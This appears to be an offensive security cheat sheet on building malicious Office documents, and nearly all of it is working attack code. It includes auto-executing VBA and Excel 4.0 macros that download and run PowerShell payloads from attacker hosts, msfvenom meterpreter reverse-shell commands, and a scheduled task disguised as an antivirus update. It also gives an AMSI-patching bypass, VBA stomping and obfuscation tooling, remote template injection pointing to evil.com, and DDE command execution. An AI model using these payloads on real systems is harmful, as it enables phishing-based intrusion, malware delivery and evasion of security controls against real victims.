* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
* [DOCM - winmgmts](#docm---winmgmts)
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
* [DOCM - BadAssMacros](#docm---badassmacros)
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
* [VBA Obfuscation](#vba-obfuscation)
* [VBA Purging](#vba-purging)
* [OfficePurge](#officepurge)
* [EvilClippy](#evilclippy)
* [VBA AMSI](#vba-amsi)
* [VBA - Offensive Security Template](#vba---offensive-security-template)
* [DOCX - Template Injection](#docx---template-injection)
* [DOCX - DDE](#docx---dde)
* [References](#references)
## Office Products Features
![Overview of features supported by different Office products](https://www.securesystems.de/images/blog/offphish-phishing-revisited-in-2023/Office_documents_feature_overview.png)
## Office Default Passwords
By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set.
> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5)
| Product | Password | Supported Formats |
|------------|------------------|-------------------|
| Excel | VelvetSweatshop | all Excel formats |
| PowerPoint | 01Hannes Ruescher/01 | .pps .ppt |
## Office Macro execute WinAPI
### Description
To importe Win32 function we need to use the keyword `Private Declare`
`Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef> <NAME_VAR> As <TYPE>, etc.) As <TYPE>`
If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function`
Importing the `GetUserNameA` from `advapi32.dll`:
```VBA
Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
```
`GetUserNameA` prototype in C:
```C
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
);
```
### Example with a simple Shellcode Runner
```VBA
Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Sub WinAPI()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
buf = Array(252, ...)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
```
## Excel
### XLSM - Hot Manchego
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
* https://github.com/FortyNorthSecurity/hot-manchego
```ps1
Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
```
### XLM - Macrome
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
```ps1
# NOTE: The payload cannot contains NULL bytes.
# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin
# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
```
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
### XLM Excel 4.0 - SharpShooter
* https://github.com/mdsecactivebreach/SharpShooter
```powershell
# Options
-rawscfile <path> Path to raw shellcode file for stageless payloads
--scfile <path> Path to shellcode file as CSharp byte array
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
# Creation of a VBA Macro
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
# Creation of an Excel 4.0 SLK Macro Enabled Document
~# /!\ The shellcode cannot contain null bytes
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee
```
### XLM Excel 4.0 - EXCELntDonut
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
* AMSI has no visibility into XLM macros (for now)
* Anti-virus struggles with XLM (for now)
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
1. Open an Excel Workbook.
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
3. Open your EXCELntDonut output file in a text editor and copy everything.
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
```ps1
git clone https://github.com/FortyNorthSecurity/EXCELntDonut
-f path to file containing your C# source code (exe or dll)
-c ClassName where method that you want to call lives (dll)
-m Method containing your executable payload (dll)
-r References needed to compile your C# code (ex: -r 'System.Management')
-o output filename
--sandbox Perform basic sandbox checks.
--obfuscate Perform basic macro obfuscation.
# Fork
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
```
XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md
### XLM Excel 4.0 - EXEC
1. Right Click to the current sheet
2. Insert a **Macro IntL MS Excel 4.0**
3. Add the `EXEC` macro
```powershell
=EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
=halt()
```
4. Rename cell to **Auto_open**
5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
### SLK - EXEC
```ps1
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E
```
## Word
### DOCM - Metasploit
```ps1
use exploit/multi/fileformat/office_word_macro
set payload windows/meterpreter/reverse_http
set LHOST 10.10.10.10
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
set FILENAME Financial2021.docm
exploit -j
```
### DOCM - Download and Execute
> Detected by Defender (AMSI)
```ps1
Sub Execute()
Dim payload
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
Call Shell(payload, vbHide)
End Sub
Sub Document_Open()
Execute
End Sub
```
### DOCM - Macro Creator
* https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
```ps1
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e
```
### DOCM - C# converted to Office VBA macro
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
https://github.com/trustedsec/unicorn
```ps1
python unicorn.py payload.cs cs macro
```
### DOCM - VBA Wscript
> https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
```ps1
Sub parent_change()
Dim objOL
Set objOL = CreateObject("Outlook.Application")
Set shellObj = objOL.CreateObject("Wscript.Shell")
shellObj.Run("notepad.exe")
End Sub
Sub AutoOpen()
parent_change
End Sub
Sub Auto_Open()
parent_change
End Sub
```
```vb
CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"
```
### DOCM - VBA Shell Execute Comment
Set your command payload inside the **Comment** metadata of the document.
```vb
Sub beautifulcomment()
Dim p As DocumentProperty
For Each p In ActiveDocument.BuiltInDocumentProperties
If p.Name = "Comments" Then
Shell (p.Value)
End If
Next
End Sub
Sub AutoExec()
beautifulcomment
End Sub
Sub AutoOpen()
beautifulcomment
End Sub
```
### DOCM - VBA Spawning via svchost.exe using Scheduled Task
```ps1
Sub AutoOpen()
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\powershell.exe"
Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
End Sub
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
```
### DOCM - WMI COM functions
Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)`
```ps1
Sub wmi_exec()
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
Set objProc = objWMIService.Get("Win32_Process")
Set procStartConfig = objStartUp.SpawnInstance_
procStartConfig.ShowWindow = 1
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
End Sub
```
* https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
* https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
```ps1
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
End Sub
Sub AutoExec()
ASR_bypass_create_child_process_rule5
End Sub
Sub AutoOpen()
ASR_bypass_create_child_process_rule5
End Sub
```
```ps1
Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0
```
### DOCM/XLM - Macro Pack - Macro and DDE
> Only the community version is available online.
* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
```powershell
# Options
-G, --generate=OUTPUT_FILE_PATH. Generates a file.
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
# Execute a command
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
# Download and execute a file
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
# Meterpreter reverse TCP template using MacroMeter by Cn33liz
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
# Drop and execute embedded file
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# Obfuscate Empire stager vba file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm
# Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
# Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx
# Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xsl
# PRO: Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV).
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
# PRO: Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --trojan -G hotpics.pptm
# PRO: Generate an HTA payload able to run a shellcode via Excel injection
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE --run-in-excel -o -G samples\nicepic.hta
echo meterx86.bin meterx64.bin | macro_pack.exe -t AUTOSHELLCODE -o --hta-macro --run-in-excel -G samples\my_shortcut.lnk
# PRO: XLM Injection
echo "MPPro" | macro_pack.exe -G _samples\hello.doc -t HELLO --xlm --run-in-excel
# PRO: ShellCode Exec - Heap Injection, AlternativeInjection
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=HeapInjection -G test.doc
echo "x32calc.bin" | macro_pack.exe -t SHELLCODE -o --shellcodemethod=AlternativeInjection --background -G test.doc
# PRO: More shellcodes
echo x86.bin | macro_pack.exe -t SHELLCODE -o -G test.pptm keep-alive
echo "x86.bin" "x64.bin" | macro_pack.exe -t AUTOSHELLCODE -o autopack -G sc_auto.doc
echo "http://192.168.5.10:8080/x32calc.bin" "http://192.168.5.10:8080/x64calc.bin" | macro_pack.exe -t DROPPER_SHELLCODE -o --shellcodemethod=ClassicIndirect -G samples\sc_dl.xls
```
### DOCM - BadAssMacros
> C# based automated Malicous Macro Generator.
* https://github.com/Inf0secRabbit/BadAssMacros
```powershell
BadAssMacros.exe -h
# Create VBA for classic shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s classic -c <caesar_shift_value> -o <path_to_output_file>
BadAssMacros.exe -i .\Desktop\payload.bin -w doc -p no -s classic -c 23 -o .\Desktop\output.txt
# Create VBA for indirect shellcode injection from raw shellcode
BadAssMacros.exe -i <path_to_raw_shellcode_file> -w <doc/excel> -p no -s indirect -o <path_to_output_file>
# List modules inside Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -l
# Purge Doc/Excel file
BadAssMacros.exe -i <path_to_doc/excel_file> -w <doc/excel> -p yes -o <path_to_output_file> -m <module_name>
```
### DOCM - CACTUSTORCH VBA Module
> CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript
* https://github.com/mdsecactivebreach/CACTUSTORCH
* https://github.com/tyranid/DotNetToJScript/
* CACTUSTORCH - DotNetToJScript all the things - https://youtu.be/YiaKb8nHFSY
* CACTUSTORCH - CobaltStrike Aggressor Script Addon - https://www.youtube.com/watch?v=_pwH6a-6yAQ
1. Import **.cna** in Cobalt Strike
2. Generate a new VBA payload from the CACTUSTORCH menu
3. Download DotNetToJscript
4. Compile it
* **DotNetToJscript.exe** - responsible for bootstrapping C# binaries (supplied as input) and converting them to JavaScript or VBScript
* **ExampleAssembly.dll** - the C# assembly that will be given to DotNetToJscript.exe. In default project configuration, the assembly just pops a message box with the text "test"
5. Execute **DotNetToJscript.exe** and supply it with the ExampleAssembly.dll, specify the output file and the output type
```ps1
DotNetToJScript.exeExampleAssembly.dll -l vba -o test.vba -c cactusTorch
```
6. Use the generated code to replace the hardcoded binary in CactusTorch
### DOCM - MMG with Custom DL + Exec
1. Custom Download in first Macro to "C:\\Users\\Public\\beacon.exe"
2. Create a custom binary execute using MMG
3. Merge both Macro
```ps1
git clone https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
python MMG.py configs/generic-cmd.json malicious.vba
{
"description": "Generic command exec payload\nEvasion technique set to none",
"template": "templates/payloads/generic-cmd-template.vba",
"varcount": 152,
"encodingoffset": 5,
"chunksize": 180,
"encodedvars": {},
"vars": [],
"evasion": ["encoder"],
"payload": "cmd.exe /c C:\\Users\\Public\\beacon.exe"
}
```
```vb
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFileA(ByVal URL As String, ByVal DownloadPath As String) As Boolean
On Error GoTo Failed
DownloadFileA = False
'As directory must exist, this is a check
If CreateObject("Scripting.FileSystemObject").FolderExists(CreateObject("Scripting.FileSystemObject").GetParentFolderName(DownloadPath)) = False Then Exit Function
Dim returnValue As Long
returnValue = URLDownloadToFile(0, URL, DownloadPath, 0, 0)
'If return value is 0 and the file exist, then it is considered as downloaded correctly
DownloadFileA = (returnValue = 0) And (Len(Dir(DownloadPath)) > 0)
Exit Function
Failed:
End Function
Sub AutoOpen()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
Sub Auto_Open()
DownloadFileA "http://10.10.10.10/macro.exe", "C:\\Users\\Public\\beacon.exe"
End Sub
```
### DOCM - ActiveX-based (InkPicture control, Painted event) Autorun macro
Go to **Developer tab** on ribbon `-> Insert -> More Controls -> Microsoft InkPicture Control`
```vb
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://<host>/file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus)
End Sub
```
### VBA Obfuscation
```ps1
# https://www.youtube.com/watch?v=L0DlPOLx2k0
$ git clone https://github.com/bonnetn/vba-obfuscator
$ cat example_macro/download_payload.vba | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin
```
### VBA Purging
**VBA Stomping**: This technique allows attackers to remove compressed VBA code from Office documents and still execute malicious macros without many of the VBA keywords that AV engines had come to rely on for detection. == Removes P-code.
:warning: VBA stomping is not effective against Excel 97-2003 Workbook (.xls) format.
#### OfficePurge
* https://github.com/fireeye/OfficePurge/releases/download/v1.0/OfficePurge.exe
```powershell
OfficePurge.exe -d word -f .\malicious.doc -m NewMacros
OfficePurge.exe -d excel -f .\payroll.xls -m Module1
OfficePurge.exe -d publisher -f .\donuts.pub -m ThisDocument
OfficePurge.exe -d word -f .\malicious.doc -l
```
#### EvilClippy
> Evil Clippy uses the OpenMCDF library to manipulate CFBF files.
> Evil Clippy compiles perfectly fine with the Mono C# compiler and has been tested on Linux, OSX and Windows.
> If you want to manipulate CFBF files manually, then FlexHEX is one of the best editors for this.
```ps1
# OSX/Linux
mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
# Windows
csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
EvilClippy.exe -s fakecode.vba -t 2013x64 macrofile.doc
# make macro code unaccessible is to mark the project as locked and unviewable: -u
# Evil Clippy can confuse pcodedmp and many other analysis tools with the -r flag.
EvilClippy.exe -r macrofile.doc
```
### VBA - Offensive Security Template
* Reverse Shell VBA - https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell/blob/main/VBA-Reverse-Shell.vba
* Process Dumper - https://github.com/JohnWoodman/VBA-Macro-Dump-Process
* RunPE - https://github.com/itm4n/VBA-RunPE
* Spoof Parent - https://github.com/py7hagoras/OfficeMacro64
* AMSI Bypass - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba
* amsiByPassWithRTLMoveMemory - https://gist.github.com/DanShaqFu/1c57c02660b2980d4816d14379c2c4f3
* VBA macro spawning a process with a spoofed parent - https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba
### VBA - AMSI
> The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection. https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/
![](https://www.microsoft.com/security/blog/wp-content/uploads/2018/09/fig2-runtime-scanning-amsi-8-1024x482.png)
:warning: It appears that p-code based attacks where the VBA code is stomped will still be picked up by the AMSI engine (e.g. files manipulated by our tool EvilClippy).
The AMSI engine only hooks into VBA, we can bypass it by using Excel 4.0 Macro
* AMSI Trigger - https://github.com/synacktiv/AMSI-Bypass
```vb
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Sub Document_Open()
Dim AmsiDLL As LongPtr
Dim AmsiScanBufferAddr As LongPtr
Dim result As Long
Dim MyByteArray(6) As Byte
Dim ArrayPointer As LongPtr
MyByteArray(0) = 184 ' 0xB8
MyByteArray(1) = 87 ' 0x57
MyByteArray(2) = 0 ' 0x00
MyByteArray(3) = 7 ' 0x07
MyByteArray(4) = 128 ' 0x80
MyByteArray(5) = 195 ' 0xC3
AmsiDLL = LoadLibrary("amsi.dll")
AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
ArrayPointer = VarPtr(MyByteArray(0))
CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
End Sub
```
### DOCX - Template Injection
:warning: Does not require "Enable Macro"
#### Remote Template
1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6. **.\word_rels\settings.xml.rels** contains a reference to the template file. That reference gets replaced with a reference to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
```
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="https://evil.com/malicious.dotm" TargetMode="External"/></Relationships>
```
7. File gets zipped back up again and renamed to .docx
#### Template Injections Tools
* https://github.com/JohnWoodman/remoteInjector
* https://github.com/ryhanson/phishery
```ps1
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
```
### DOCX - DDE
* Insert > QuickPart > Field
* Right Click > Toggle Field Code
* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
## References
* [VBA RunPE Part 1 - itm4n](https://itm4n.github.io/vba-runpe-part1/)
* [VBA RunPE Part 2 - itm4n](https://itm4n.github.io/vba-runpe-part2/)
* [Office VBA AMSI Parting the veil on malicious macros - Microsoft](https://www.microsoft.com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/)
* [Bypassing AMSI fro VBA - Outflank](https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/)
* [Evil Clippy MS Office Maldoc Assistant - Outflank](https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/)
* [Old schoold evil execl 4.0 macros XLM - Outflank](https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/)
* [Excel 4 Macro Generator x86/x64 - bytecod3r](https://bytecod3r.io/excel-4-macro-generator-x86-x64/)
* [VBad - Pepitoh](https://github.com/Pepitoh/VBad)
* [Excel 4.0 Macro Function Reference PDF](https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf)
* [Excel 4.0 Macros so hot right now - SneekyMonkey](https://www.sneakymonkey.net/2020/06/22/excel-4-0-macros-so-hot-right-now/)
